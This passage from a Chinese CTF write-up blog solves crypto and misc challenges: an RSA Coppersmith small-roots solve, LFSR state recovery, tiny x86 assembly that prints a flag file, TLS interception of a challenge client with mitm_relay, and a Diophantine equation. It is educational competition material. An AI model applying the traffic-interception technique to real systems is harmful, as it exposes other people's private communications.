class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1141079999999999em;vertical-align:-0.25em;"></span><span class="mord mathnormal">c</span><span class="mclose">)</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">m</span><span class="mord mathrm">o</span><span class="mord mathrm">d</span></span></span><span class="mspace" style="margin-right:0.05555555555555555em;"></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>正是我们要的首一多项式，丢给 SageMath 一下子就解出来了，然后还原成字符串即可拿到 flag。</p><pre><code class="hljs makefile">N = 17022643406514350347573614465221696412722093893069884767243788880650197186586896695677232954756001085570908846778062553748252730496162774516963609020852021240663517062164143433972096285671583857300879566762429174925637808711899529732967964744088548497546563683172958195418996012865897850179068749931908849579004796030024201648134080256899877361133867143808268771425201158477438673553801559428342889346934705891370908283804031253368466095743470387105335979770140651537303634622746448342605800452083233872484864431450513349565059478371458778685883614230275550760174388677496289114774270577941915682644246153516217470289cof1 = 7654811310494849798021593535838957164034235239444593486205902159219993926421703675382736379329695891056904149081520547693861134062326098641389076541695740273615825257074586144622272910435465399715878203827537912088549315112808698014263369037918752081172098277372015885102097148298774484125035157739560166495842652029217779403218833310083665224557484221080290003975621827166977961990907179524063242111250847516013776097469541369552121244027979749433406775448931648249048677669133375387657003666276481492775575045012202432238970376100782343002959674306700372647624197337455195019109593666495172341887440308820013321239711500650037549866392293571023406341581272032258884724631008499748540838526080846262329434540196946704941997607070368055096300149231001524974354362242290850539574671138929750078905495728709989761653139350608623351763588394153115266889332314799543522123944869140564794761462407715376789008289297666606580806445423650578459257833446017201266484489232192503190476268978188967560202382641258574743980457090723073685275243864523774890972040243532284179922357320211299391576450146967424476092164536708808786453218538228046110651007766008465069360981098347660922986353534005016703001280857498611505379926430531377684940286187235419934660411981564640971927277585368605013499282800347012605475784878876658114151396049986055252777480623330163491162286948543267881193465776183061720969252071807174119752317677240077013904888955743916764740416213159233248705300095471477946003728069943810518643625544048336096645492268396294902917376777374710548820606726679829973268919708139536446996018991091037080507910108031213136873912997484407049136407524930800997023573109785579998096386020014617612624226217429318823142428722478013610513259570813165411489809668110292268019470478612033821306423824198055594015181282411844750920121928098666451183568631842860947202235633688078282490134227984608930764275993375714782570069572972385163479851595411608898886016021357537686984211550946073052389619548721727524791028368296749663958192484843361421518944692856474123045634905622051718021050098150535474912151674042866007298338223422826435477106751941424146991389196817461134933944899013297900453019373646535519104270109209483142764331015835314416796973382730918278662431581084797266969132054681948475932606176771846573170675271315147832706338578837639590335828082150572278872196493572996251984818196755538381848175512540234665456166483025031150321611008100430334834466691990201664038194633149094316290024648166890101326327329853839595260717240590518708346315806525474328106496722045407192145765309300301279529166880677987677953898044837945676271058541238676364131941619282890367078050354185504881727895408554721469475831056724047431356484508560444484614228508332735300322190760116569626766163917876758870999957114051716788028849750214499415840044346083964165059675360859703331795471145336257825223149623571605708457646256220550406699742879044904821369720949579582839342628722408980240590388167597485077346062248672195253060515834254538311362839230760069268120063806798627852550023831716865619641828556927151302522637544989606854444179517897493746509051369139634737000666856460565542326944167245402284030364095481289608297378400313749602466206279795444081719150470562695110251163487809884174874619498498748519816292463690956911748817685310633148759794795505996488774692645109760cof2 = 30018867884293528619692523669956694760918569566449386220415302585176446770281190883853868154234101533556486859143217834093573074754219994672114025653708785386728726498331710371067736903668491763591679230696227106229605157305132149075542623678112753259498424617145160333733714307054017584804059442115922221552324125604775605502818954157190844017872487141491333348924007165360697890160420311859071537691179794180446180774390358311969102917756783331111399119407575091172739912427974021128066681044221496050099735821921026232223806004629270625439348760884032123993124751524435291770694298367921749818375768759848822720589261659147314469772137180239928013748688221048561868551112287252009963775962651402018062402276849713961757813217748767892321696449318437882881048510802237481015286879165480045302383979733225851700339051690971509535713399173901274068899207913136520332032146344681013815614452648924026183249327624637425057690257739971978521921223751197397536011431725428868555944672709948073557902250311760103002014383079413337392688687066901312054133450274218394568368194058181640958749645380036801679205882852514323441267209442231054327503952120776479487794231297836307072935019376482760723288863455310179906607151903164503892487610528174876743117365993401037529566949312481848879563235609138010365381176726084326180589252355082827750084471514860433262183247361644552185702863353006180234194903879166590991851862742813912282942986826665730661880846396992349434485403404256799202588263619638195294798705542507825307743342885567472568662720449185700892563020720610050671706197248920313974880155282598764839971472984398202291683254151446959918200762941623418469254170314468520205603903903899488981462999811491188125929270565137441077566149023370210069849172143822335046912717225469769936297884065179119242885579397010301002269587025914412843839914485697156425835627326716120072517564835218176486762894277926849166546012797338773719752505879249820586468152881040752941710144094587652405208394474267682635307995555525363991847125278887508182299819757906767298175330658428104620353412651155102122443366942626261131446083653305564097406482708590827433754698726560824042156257389472460812810597643320615196810559003395551284485202617125945949427501548846537405927429764206673125385012334174079195305598468617287415793008103738135227973230749174741295203138265239800923952332395245756743289195713173195741862139060507186975686600042417162792280875368907990375864640374798732287821053226608250054916026034092368145308792329262980836014584645525944889929415902544065242598854005401727147258086776685307623571173511976026326987990520637480949369488868989658013215152581219067366904431437240787162705143625208544493269822842430693688134094157777583640605055668970611905563257125338530784586047061543658777057217021040442472653590599034561748863889357725215129066597092547411303547656971467282965987074522134192605023423240795135416495190235631598988949530266738346726214560994715402558526849405618488358810286021830007817450888972084306350626575143423375807780403032226906706955899470114782969437841974037506865811568281024354878124991629128153143875203404431965544681030413307290390215345627072958376971523100405044212825344700662604170782254201107514512785175420970824053606516818581042803785426295414829220452676745422250758793731435287462398982895726902059653760915865600cof3 = 39240350175547096234892187803864960471788979825424034275052683117877708196446001155364533534946537952361420730906167103390291600985908489767469314580011484165658466010891124668062401181266002305348600301563695563698830270987100848464761599579232357201958724989732235730370868375234009914776548290347610747127221079221928896082116279944040318977611094302603050129312427667138167176680287989358263447962326528340452523888091971649632814271577494550472417149552385740095084852847024864219695007900943132091632911568204644091734823458978063185806014065073207794893602080943261841773392277335101474127818540349623920370425794927669321182711252945540637604358578601576356110400801014987961249197564379693794091455189011443883401189972992457106178470023946696374701937092230425553137109507807074576574703749507805688096987194729139287512240139354281863428164878743560588733627834251681416128165620624004259641844045032082907400110379335069981300334226208431753590250634589732373577084686277311807103276722282688837913731195134048183289067621640430989624148816788995128501545721996140099295554433108919311070485628891947019383572153719750407871001733949057431577246074550543189306242762757699910199959902946184011503783628256674199215347846840726975782219114159641085860086414025175948565787542328903968242883836419757374745875926362908560338124755068980617571084160208483845597633787220447674081618482183304587700299637719270194217954336774618614761057060445322904217760402149606234230234302232759103676434981447230542299109447427775005766313755821441238165211350181744636224228453354251651472109452213189641139073800646444437554095818867555684110498743401824984129483326085164268142037569312850346992836253816662691814308306066751201732513208148017135467612366789153330256282171799572120460656599488725486182486876335222184968377965721058296966068957511692718983503909228047244716399998529199026345992531138976540366453595195701606194210123590477580168194694146485736432018226116334534707446748137095303434545495055861972645991670163332437953899743106661588367428541604360660558545566026838364373491953980010610470370575205595598918844806713372824955674656370126094395701956907293581769521981097737197049881248985908913802971483223758674642843664201808554870230952745128060972894057166174723448868678329015589384519681087622200201266454666641111034903739342739873719757121069678001193943487341037956064753176061864464400035509398198462333346446342145417758561516678299614988165293709844341137829745650317819716736245409534211537931474309649542643293481286288108797327082686032394262301806725714569926174658929032104358665346977612008826410052558251972505037604399993750875103732687980917598622794581557133564086619925370579974593904531599777401570987596226784788654464565211237426672053166320728447739096976380591661249138445693592809866686403424563905424497966766748347272172880406298580777009884403887002203251457975855284962288330010420556134912152780888099564887662839035605664244082866608935844317022220209078946185862137792168015223559804396482891997684868538235454373686259958357034596434430354461788642538590329890051467533742307518442025530266984906935369316068909171346312771211827790199946570041763324911386460809428364450519721603256193315668640567410592417158688381768489441223895776025034954387417934757392573701580193782051157294576846637940679852416ZmodN = Zmod(N)P.&lt;x&gt; = PolynomialRing(ZmodN)f = x^3 + cof1*x^2 + cof2*x + cof3x0 = f.small_roots()print(x0)</code></pre><p>（<code>cof1</code>、<code>cof2</code> 和 <code>cof3</code> 分别为二次项系数、一次项系数和常数项，预先用 Python 计算好了）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_dd37f8c9ed4ada0828e42fb35f048240.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_dd37f8c9ed4ada0828e42fb35f048240.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_75f7f33988508e8b8d8542299145085e.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_75f7f33988508e8b8d8542299145085e.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="rsfl"><a class="markdownIt-Anchor" href="#rsfl"></a> RSFL</h3><p>经过一番检索发现这是道非常标准的 LFSR 题目，直接根据网上的例子依葫芦画瓢求得初态 R。</p><pre><code class="hljs python">mask = <span class="hljs-number">0x9e393e7126c18da37dc14f9a3113c50c8ad4a522ae4501b20531</span>mask = <span class="hljs-built_in">str</span>(<span class="hljs-built_in">bin</span>(mask))[<span class="hljs-number">2</span>:]key = <span class="hljs-number">0xc9fe198703d93a7cff319d81c311b169de4b8d528d2dbec4859b</span>key = <span class="hljs-built_in">str</span>(<span class="hljs-built_in">bin</span>(key))[<span class="hljs-number">2</span>:]tmp = keybits = [<span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">9</span>, <span class="hljs-number">11</span>, <span class="hljs-number">18</span>, <span class="hljs-number">21</span>, <span class="hljs-number">22</span>, <span class="hljs-number">24</span>, <span class="hljs-number">25</span>, <span class="hljs-number">33</span>, <span class="hljs-number">35</span>, <span class="hljs-number">39</span>, <span class="hljs-number">42</span>, <span class="hljs-number">43</span>, <span class="hljs-number">44</span>, <span class="hljs-number">46</span>, <span class="hljs-number">48</span>, <span class="hljs-number">50</span>, <span class="hljs-number">54</span>, <span class="hljs-number">57</span>, <span class="hljs-number">59</span>, <span class="hljs-number">62</span>, <span class="hljs-number">64</span>, <span class="hljs-number">67</span>, <span class="hljs-number">69</span>, <span class="hljs-number">71</span>, <span class="hljs-number">72</span>, <span class="hljs-number">74</span>, <span class="hljs-number">76</span>, <span class="hljs-number">80</span>, <span class="hljs-number">83</span>, <span class="hljs-number">84</span>, <span class="hljs-number">89</span>, <span class="hljs-number">91</span>, <span class="hljs-number">95</span>, <span class="hljs-number">96</span>, <span class="hljs-number">97</span>, <span class="hljs-number">98</span>, <span class="hljs-number">101</span>, <span class="hljs-number">105</span>, <span class="hljs-number">109</span>, <span class="hljs-number">110</span>, <span class="hljs-number">114</span>, <span class="hljs-number">116</span>, <span class="hljs-number">117</span>, <span class="hljs-number">120</span>, <span class="hljs-number">121</span>, <span class="hljs-number">122</span>, <span class="hljs-number">123</span>,        <span class="hljs-number">124</span>, <span class="hljs-number">127</span>, <span class="hljs-number">129</span>, <span class="hljs-number">135</span>, <span class="hljs-number">136</span>, <span class="hljs-number">137</span>, <span class="hljs-number">139</span>, <span class="hljs-number">140</span>, <span class="hljs-number">141</span>, <span class="hljs-number">142</span>, <span class="hljs-number">143</span>, <span class="hljs-number">145</span>, <span class="hljs-number">146</span>, <span class="hljs-number">150</span>, <span class="hljs-number">152</span>, <span class="hljs-number">153</span>, <span class="hljs-number">155</span>, <span class="hljs-number">156</span>, <span class="hljs-number">160</span>, <span class="hljs-number">161</span>, <span class="hljs-number">167</span>, <span class="hljs-number">168</span>, <span class="hljs-number">170</span>, <span class="hljs-number">171</span>, <span class="hljs-number">174</span>, <span class="hljs-number">177</span>, <span class="hljs-number">181</span>, <span class="hljs-number">182</span>, <span class="hljs-number">183</span>, <span class="hljs-number">186</span>, <span class="hljs-number">187</span>, <span class="hljs-number">188</span>, <span class="hljs-number">189</span>, <span class="hljs-number">190</span>, <span class="hljs-number">193</span>, <span class="hljs-number">196</span>, <span class="hljs-number">197</span>, <span class="hljs-number">198</span>, <span class="hljs-number">202</span>, <span class="hljs-number">203</span>, <span class="hljs-number">204</span>, <span class="hljs-number">205</span>]R = <span class="hljs-string">''</span><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">208</span>):    output = <span class="hljs-string">'?'</span> + key[:<span class="hljs-number">207</span>]    ans = <span class="hljs-built_in">int</span>(key[-<span class="hljs-number">1</span>])    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> bits:        ans = ans ^ <span class="hljs-built_in">int</span>(output[-j])    R += <span class="hljs-built_in">str</span>(ans)    key = <span class="hljs-built_in">str</span>(ans) + key[:<span class="hljs-number">207</span>]R = [R[i:i+<span class="hljs-number">8</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">len</span>(R), <span class="hljs-number">8</span>)]<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> R:    <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(<span class="hljs-built_in">int</span>(c, <span class="hljs-number">2</span>)), end=<span class="hljs-string">''</span>)</code></pre><p>不过这样做下来，结果却是乱码。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_14c944b606c204b7758f49abe5560ba8.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_14c944b606c204b7758f49abe5560ba8.png?width=1920" srcset="/loading.gif" alt=""></p><p>想想明明是 LFSR 为啥题目叫 RSFL 呢？尝试把最后的 R 二进制倒转一下，也就是<code>R = R[::-1]</code>，然后就成功拿到了 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_19b87bc3dd926b608e574a6e4818535d.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_19b87bc3dd926b608e574a6e4818535d.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="misc"><a class="markdownIt-Anchor" href="#misc"></a> Misc</h2><h3 id="tiny-elf"><a class="markdownIt-Anchor" href="#tiny-elf"></a> Tiny ELF</h3><p>要构造一个不超过三百字节的可执行文件，显然不能用 C 来写，只能用汇编了。然而我并不会汇编，好在找到了<a href="https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_read_file.asm">现成的代码</a>，把读取的文件路径以及返回值改改就能用。</p><pre><code class="hljs assembly">; Tiny Read File - Assembly Language - Linux/x86; Copyright (C) 2013 Geyslan G. Bem, Hacking bits;;   http://hackingbits.com;   geyslan@gmail.com;; This program is free software: you can redistribute it and/or modify; it under the terms of the GNU General Public License as published by; the Free Software Foundation, either version 3 of the License, or; (at your option) any later version.;; This program is distributed in the hope that it will be useful,; but WITHOUT ANY WARRANTY; without even the implied warranty of; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the; GNU General Public License for more details.;; You should have received a copy of the GNU General Public License; along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.;; Program modified by Hans362global _startsection .text_start:; int open(const char *pathname, int flags);xor ecx, ecxmul ecxmov al, 5push ecxpush 0x6761push 0x6c662f2fmov ebx, espint 0x80; ssize_t read(int fd, void *buf, size_t count);xchg eax, ebxxchg ecx, eaxmov al, 3xor edx, edxmov dx, 0x20inc edxint 0x80; ssize_t write(int fd, const void *buf, size_t count);xchg edx, eaxxor eax, eaxmov al, 4mov bl, 1int 0x80; void _exit(int status);  mov eax, 1mov ebx, 42int 0x80</code></pre><p>使用 <code>nasm -f elf32 tinyelf.asm</code> 编译，此时如果直接 <code>ld -m elf_i386 tinyelf.o -o tinyelf</code> 进行链接，得到的可执行文件非常庞大，远超三百字节，因此我们需要自定义一下链接的过程。创建一个 <code>tinyelf.lds</code> 文件，内容如下：</p><pre><code class="hljs ada"><span class="hljs-keyword">ENTRY</span>(_start)SECTIONS{  . = <span class="hljs-number">0</span>x400000 + SIZEOF_HEADERS;  main : { *(.<span class="hljs-type">text</span>) *(.rodata) }  /DISCARD/ : { *(.<span class="hljs-type">symtab</span>) *(.strtab) }}</code></pre><p>然后使用 <code>ld -m elf_i386 -s -static -T tinyelf.lds -o tinyelf tinyelf.o</code> 进行链接，得到的可执行文件就只有320字节了，但依然不符合题目的要求。这时再用一下 <a href="https://github.com/aunali1/super-strip">super-strip</a> 进一步缩减文件（写给官方的解题报告里漏了这步），就只剩下183字节了，base64 一下提交即可拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_902eef595b15805db2f52df18ec0b716.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_902eef595b15805db2f52df18ec0b716.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="baby-mitm"><a class="markdownIt-Anchor" href="#baby-mitm"></a> Baby Mitm</h3><p>题目已经明示用中间人攻击。先用 WireShark 抓了下包，发现是 TLSv1.3 加密，但包裹的应该并非 HTTP 协议，因此 Fiddler 等工具都用不了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3f06825e767e14d4799dfd4772e176bf.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3f06825e767e14d4799dfd4772e176bf.png?width=1920" srcset="/loading.gif" alt=""></p><p>那么有没有适用于非 HTTP 协议的中间人攻击工具呢？找了很久终于发现了 <a href="https://github.com/jrmdev/mitm_relay">mitm_relay</a>，完全符合需求。</p><p>可惜不知道我电脑上的 Python 是不是有什么问题，按照 README 配置好了证书，并且把 <code>client</code> 的流量重定向到了 Proxy，然而每次运行 <code>client</code> mitm_relay 都会崩溃，导致我一度以为这个办法行不通。</p><p>后来开了个 Docker 容器搞了个干净的 Python 环境，然后竟然就正常了，成功抓到了 flag 信息并完成了解密。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_fd2bc81cdfd4e85618401c3b846b4ce2.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_fd2bc81cdfd4e85618401c3b846b4ce2.png?width=1920" srcset="/loading.gif" alt=""></p><p>可这解密出来的信息还是一团糟啊？而且每次返回的信息都不同，难道还有加密？多观察了几次我发现含有 flag 的信息总是以 <code>78 9C 64</code> 开头，似乎是某种文件头，Google 一下发现原来是 zlib 压缩的标记，解压一下即可。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> zlibd = <span class="hljs-string">"789C6450BB6EE33010ECF51553DE013A430759B65CA64C1F2035A55D9A4464AEB05CC55182FC7B40C5888B6C399C1707780AB2C07499567817B5C695D56E405E2FB3B310DF99EA0A784C0567CC938B095751CA35861516D6EDE19FF134C57486D7C8897615003C2482058E8AB34ACE985D4C564897780E868131B0192B96FC9D023C0756C618985F321233619844A8464CC58A110D31C30D45B2ABAA4DF4EBFAB65446E25756647785056758650145BAD728FE25F6D653D98B324C0A53B74990E44ECF6CDB14F0B224C21F515890A57CE586FDFDC9E0B771332FD7C89C3F4E27DF776DBB1F8FAEEBF64DC387664FED70ECFB7E3C75E48F7468FE7B1A3FBF020000FFFF7E80816F"</span>d = <span class="hljs-built_in">bytes</span>.fromhex(d)m = zlib.decompress(d)m = m.decode(<span class="hljs-string">"utf-8"</span>)<span class="hljs-built_in">print</span>(m)</code></pre><p>解出的明文上半部分是莎士比亚的诗随机摘录的一部分，最底下是 flag，这也解释了为什么每次返回的信息都不同。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5515d8adf6357104b24cd80992209410.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5515d8adf6357104b24cd80992209410.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="baby-equation"><a class="markdownIt-Anchor" href="#baby-equation"></a> Baby Equation</h3><p>求解这个方程的正整数解。</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mi>x</mi><mrow><mi>y</mi><mo>+</mo><mi>z</mi></mrow></mfrac><mo>+</mo><mfrac><mi>y</mi><mrow><mi>x</mi><mo>+</mo><mi>z</mi></mrow></mfrac><mo>+</mo><mfrac><mi>z</mi><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow></mfrac><mo>=</mo><mi>k</mi><mo separator="true">,</mo><mtext>&nbsp;</mtext><mi>k</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>2</mn><mo separator="true">,</mo><mn>4</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>8</mn><mo separator="true">,</mo><mn>10</mn><mo separator="true">,</mo><mn>12</mn><mo separator="true">,</mo><mn>14</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\frac{x}{y+z}+\frac{y}{x+z}+\frac{z}{x+y}=k,{\ }k\in\{2, 4, 6, 8, 10, 12, 14\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.9880000000000002em;vertical-align:-0.8804400000000001em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.10756em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804400000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.87689em;vertical-align:-0.7693300000000001em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1075599999999999em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693300000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.9880000000000002em;vertical-align:-0.8804400000000001em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.10756em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804400000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mspace">&nbsp;</span></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">1</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">1</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">1</span><span class="mord">4</span><span class="mclose">}</span></span></span></span></span></p><p>Google 检索了一下，找到了 Quora 上的<a href="https://qr.ae/prJaI1">这个回答</a>，贴心地提供了一个 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">k=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">4</span></span></span></span> 时的 Magma 求解程序。</p><pre><code class="hljs go"><span class="hljs-comment">// </span><span class="hljs-comment">// For my colleagues in Shell with a lot of love,  (and  with a lot of time now since no commuting, cause COVID) </span><span class="hljs-comment">// Code is commented to explain how to solve the meme  (https://preview.redd.it/p92108lekoq11.jpg?width=367&amp;format=.jpg?width=1920&amp;auto=webp&amp;s=e0c84917c3d7e130cad06f9ab5a85634b0c88cfb) </span><span class="hljs-comment">// </span><span class="hljs-comment">// x/(y+z) + y/(x+z) + z/(x+y) = 4 </span><span class="hljs-comment">// </span><span class="hljs-comment">// This is the smallest solution: </span><span class="hljs-comment">// x=4373612677928697257861252602371390152816537558161613618621437993378423467772036 </span><span class="hljs-comment">// y=36875131794129999827197811565225474825492979968971970996283137471637224634055579 </span><span class="hljs-comment">// z=154476802108746166441951315019919837485664325669565431700026634898253202035277999 </span><span class="hljs-comment">// </span><span class="hljs-comment">// Paste in the site below to execute this code see this result, also read the comments here to understand.  </span><span class="hljs-comment">// The last part of the prints() after executed shows you the solution above. </span><span class="hljs-comment">// http://magma.maths.usyd.edu.au/calc/ </span><span class="hljs-comment">// Eduardo Ruiz Duarte  </span><span class="hljs-comment">// toorandom@gmail.com </span><span class="hljs-comment">// </span>  <span class="hljs-comment">// First we define our environment for our "problem" </span> R&lt;x,y,z&gt; := RationalFunctionField(Rationals(),<span class="hljs-number">3</span>);  problem := ((x/(y+z) + y/(x+z) + z/(x+y)) - <span class="hljs-number">4</span>) ; <span class="hljs-comment">// first note that we know a point after some computation (-1,4,11) that </span><span class="hljs-comment">// works but has a negative coordinate, the following function returns 0, which means that  </span><span class="hljs-comment">// (x/(y+z) + y/(x+z) + z/(x+y)) - 4 = 0    (just put the -4 in the other side) </span>Evaluate(problem,[<span class="hljs-number">-1</span>,<span class="hljs-number">4</span>,<span class="hljs-number">11</span>]);  <span class="hljs-comment">// after the previous returned 0 , we know the point fits, we continue. </span> <span class="hljs-comment">// we multiply by all the denominators of "problem" to get a polynomials </span>problem*Denominator(problem); <span class="hljs-comment">// we obtain a polynomial without denominators x^3 - 3*x^2*y - 3*x^2*z - 3*x*y^2 - 5*x*y*z - 3*x*z^2 + y^3 - 3*y^2*z - 3*y*z^2 + z^3 </span><span 